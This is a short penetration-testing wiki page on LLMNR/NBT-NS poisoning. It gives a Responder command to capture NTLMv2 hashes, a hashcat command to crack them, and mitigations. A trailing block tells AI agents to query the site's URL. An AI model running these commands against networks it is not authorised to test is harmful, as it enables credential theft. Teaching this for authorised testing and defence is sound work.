# LLMNR Poisoning ## What is LLMNR? * Used to identify hosts when DNS fails * Previously known as NBT-NS * Key flaw: services utilize a user's username and NTLMv2 hash when appropriately responded too ## Attack Flow * Trick victim into connecting to malicious server under our control * Capture hash * Service name cannot be resolvable over DNS ## Exploitation ```bash # Run responder python responder.py -I tun0 -rdwv # Crack hash with hashcat hashcat -a 0 -m 5600 hashes.txt rockyou.txt ``` ## Mitigation * Disable LLMNR and NBT-NS * If the functions can't be disabled, then * require Network Access Control * require strong password policy --- # Agent Instructions: Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter: ``` GET https://wiki.bufu-sec.com/active-directory/mitm_relay/llmnr_poisoning.md?ask= ``` The question should be specific, self-contained, and written in natural language. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.